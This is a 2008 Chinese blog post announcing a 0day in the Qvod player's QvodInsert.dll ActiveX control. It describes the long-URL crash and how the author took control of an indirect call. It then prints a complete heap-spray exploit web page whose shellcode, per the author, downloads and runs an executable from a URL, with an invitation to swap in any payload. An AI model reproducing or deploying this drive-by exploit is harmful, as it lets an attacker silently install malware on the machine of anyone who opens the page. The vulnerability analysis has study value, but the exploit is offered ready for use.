1. 公告

    • 黑夜给了我黑色的眼睛去寻找光明,阳光给了我明亮的眼睛我却是去寻找黑暗,所以我只有在夜里才出现真实的自己。(菩提本不树,明镜亦非台,本来无一物,何处染尘埃。)
  2. 写作时间

    << 2008-11 >>

    Sun

    Mon

    Tue

    Wed

    Thu

    Fri

    Sat

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    28

    29

  3. 原创下载

  4. 最新文章

  5. 最新评论

  6. 文章归档

  7. Statistics

    • 文章总数:172
    • 评论总数:60
    • 引用总数:0
    • 浏览总数:221449
    • 留言总数:0
    • 当前样式:4u-HK
    • 当前语言:zh-CN
  8. 友情链接

  9. 反向链接

QQ播放器远程溢出0day

    关键字:
无意中在网上下载东西的时候被一个题目吸引:我用过的最好的BT下载软件-Q播。“Q播”我以前好像听说过,可是BT下载最好的软件不是比特彗星吗?怎么换成Q播了,难道说Q播有什么过人之处。疑惑和惊讶带领我来到Q播的官方网站:www.qvod.com。映入眼帘的首先是一个流量统计数据,见图:



39613730好大的一个数字啊,三千多万的下载使用量。如此看来Q播这个程序简直就是一个人手必备的软件,下载,安装,试用,我是一气呵成,看到Q播的程序界面时我才恍然大悟为什么有人会说Q播是最好的BT下载软件了,见图:

原来Q播是支持媒体播放的,它的多功能性使得它拥有了如此多的下载量。
在初步的使用中,我发现Q播是支持网络媒体播放的,这也是其最为出色的一个地方,Q播不但支持看本地的媒体文件还可以看网络上的,同时Q播还可以自动捕获FLV文件,见图:

这个自动捕获微视频的功能真是太好了,我好多时候想要下载一些FLV文件,但有时却不能获得FLV文件的下载地址,这时有了Q播这款确实非常出色的软件就能帮助我下载FLV文件了。
但是在安装Q播的过程中,我监视到Q播会向系统注册一个ActiveX控件,这个控件是文件QvodInsert.dll,这个文件有很多的接口,看起来Q播是想在网页流媒体的播放中占据一席位置,因为我们在网页中看到的流媒体正是通过控件来播放的。Q播既然提供了ActiveX控件,那么频频出现漏洞的ActiveX控件Q播能不能幸免呢?通过测试,结果是Q播的控件也出现了漏洞。
虽然说是漏洞,如果你去使用简单溢出方式来获得这个漏洞的利用恐怕很难。为什么这么说呢?我们来具体看看测试过程。
测试的网页文件我这里直接提供给大家,这个网页的代码具体为下:
<SCRIPT language=javascript>
function test()
{
   var a=“http://www.blackunion.cn,,,,,,,,,,,,,,,”;‘长度为10000个,
evil.URL=a;
}
</script>
<object classid="clsid:F3D0D36F-23F8-4682-A195-74C92B03D4AF" name="evil" width=100 height=200></object>
<script>javascript:test();</script>
像以前发现ActiveX组件漏洞一样,object标签引入的就是出现问题的QvodInsert.dll。其中“F3D0D36F-23F8-4682-A195-74C92B03D4AF”是这个Q播组件在系统中注册的唯一序列号。而“evil.URL=a;”这句代码就是调用了QvodInsert.dll组件提供的URL接口。这个“URL”是一个组件属性所以没有使用括号。“a”是一个长度为10000字节的字符串。当我们把这个文件保存后,利用IE打开后,我们发现出现了一个读取错误,见下图:

可以看到出错的指令是:cmp byte ptr[eax],20。这句指令出错的原因就是因为eax寄存器中的内容是2c2c2c2c,这是一个非法的地址。看到这样错误,也许你想先想办法控制eax寄存器读取到一个正常的地址上去,然后看看后面程序执行到哪里,再去分析会不会有机会可以利用。可以说,这种方法是比较好的思路,但是花费的心思可不少,因为调整eax寄存器是需要时间的,你要找到可以读取的地址,然后还得观察你找到的地址赋值给eax寄存器后,会不会导致程序后面的执行又会出错,如果出错又能不能被我们利用来执行代码什么的。两个难点使得我们不得不放弃这样的思路,那么还有什么办法可以帮助我们来改变现状?现在我们测试的a是一个10000字节的字符串,那么这个a要是长度短点或者再长点又会怎样呢?这会不会让我们再次发现点什么呢?
带着我不入地狱谁入地狱的壮言,我在一遍遍的测试中终于发现了一个喜人的画面,见图:

看到那句出错的语句了吗? call   dword ptr [edx+8]出错了!而这个edx竟然是62626262,四个b!要知道这四个b是我传递给QvodInsert.dll文件的。
一旦我们控制了edx,也就能控制让call指令调用我们指定地址的函数了。
兴奋之余,我们思考一个问题,这里的call调用不是寄存器寻址,而是一个间接寻址,那么意味着call指令调用的地址是edx+8这个地址中的内容,也就假设edx+8地址中的内容为77225588,那么这个77225588才是call指令要调用的地址。要知道我们的内存是变化的,这怎么办?真是要感谢发明heap spray方法的牛人!这个方法就是通过暴力填充内存,使得内存中全是shellcode,这样一旦IE出错落到某段内存都会执行我们的shellcode。根据这个原理,我们假设先填写内存某段一直为一个地址,然后再在这个地址上填充我们的shellcode,那么IE出错后落入带有地址的空间中,而此时call指令就会取的地址,然后调用该地址,这不就又跳到我们填充的shellcode中去了吗?
明白了原理,那么利用代码就好写了,代码不长我就贴在这里了:
<html>
<body>
<object classid="clsid:F3D0D36F-23F8-4682-A195-74C92B03D4AF" name="evil" width=100 height=200>
</object>
<script>
   var heapSprayToAddress = 0x05050505;
   var shellcode = unescape("%u9090"+"%u9090"+
"%u54eb%u758b%u8b3c%u3574%u0378%u56f5%u768b%u0320" +
"%u33f5%u49c9%uad41%udb33%u0f36%u14be%u3828%u74f2" +
"%uc108%u0dcb%uda03%ueb40%u3bef%u75df%u5ee7%u5e8b" +
"%u0324%u66dd%u0c8b%u8b4b%u1c5e%udd03%u048b%u038b" +
"%uc3c5%u7275%u6d6c%u6e6f%u642e%u6c6c%u4300%u5c3a" +
"%u2e55%u7865%u0065%uc033%u0364%u3040%u0c78%u408b" +
"%u8b0c%u1c70%u8bad%u0840%u09eb%u408b%u8d34%u7c40" +
"%u408b%u953c%u8ebf%u0e4e%ue8ec%uff84%uffff%uec83" +
"%u8304%u242c%uff3c%u95d0%ubf50%u1a36%u702f%u6fe8" +
"%uffff%u8bff%u2454%u8dfc%uba52%udb33%u5353%ueb52" +
"%u5324%ud0ff%ubf5d%ufe98%u0e8a%u53e8%uffff%u83ff" +
"%u04ec%u2c83%u6224%ud0ff%u7ebf%ue2d8%ue873%uff40" +
"%uffff%uff52%ue8d0%uffd7%uffff%u7468%u7074%u2f3a" +
"%u312f%u3732%u302e%u302e%u312e%u742f%u7365%u2f74" +
"%u2e64%u7865%u0065");
var heapBlockSize = 0x400000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0505%u0505");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
       memory = spraySlide + shellcode;
}

   try
   {    var a=new Array(813);
a=a+"7rBJ"+"aaaaaaaaaccccccccccccccccccccccccccvvvvvvvvvvvvvvvv
vvvvvvvvvvvbbbbbbbbbbbbbbbbbbbbbbnnnnnnnnnnnnnnnnnnnnnn
nnnnnnhhhhhhhhhhhhhhhhhhhhhhhhhh";
document.write(evil.URL=a);
   }
   catch(e){}
function getSpraySlide(spraySlide, spraySlideSize)
{
   while (spraySlide.length*2<spraySlideSize)
   {
       spraySlide += spraySlide;
   }
   spraySlide = spraySlide.substring(0,spraySlideSize/2);
   return spraySlide;
}
</script>
</body>
</html>
其中的shellcode是一段下载并执行http://127.0.0.1/test/d.exe的代码,你可以任意修改它。而主要注意的地方是:a=a+"7rBJ"+"aa….,这里的7rBJ其实是一个地址翻译成十六进制就是0x4A427237,之所以写成这个地址是因为我们填充内存的地址存在于0x4A404040这个空间中,当call指令出错时,会先通过edx+8取出0x05050505,而这个地址却又被我们的shellcode填充着,于是程序就会乖乖的执行我们的代码了。
  让我们看看利用成功时的画面:
 
  可以说Q播的这个漏洞是一个稍有难度的漏洞,它其实也是因为过长的字符串造成程序出错,但是不是类似传统的溢出漏洞,而是一个修改了栈中保存的虚函数指针的漏洞,call指令是这里最为关键的地方,通过巧妙的两次填充,我们还是获得了控制call指令地址的机会。IE独有的内存填充在这里发挥了巨大的作用,本来我还想使用固定的代码了获得间接执行代码的机会,但是有了方便的heap spray何乐而不为之呢?
  本文不懂的地方欢迎在黑防论坛上讨论,成文仓促不妥之处欢迎大家指正。

您或许还对以下的内容感兴趣:

如果您拥有一个BLOG,如果您的BLOG的PV/IP/PR还算不错,如果您打算用您所拥有的BLOG来赚钱,那么我来告诉您几个赚钱的方法:

1、透过 Google AdSense 使您的BLOG产生收益

2、您还可以通过申请TextLinkAds投放者来直接出售链接位从而产生收入。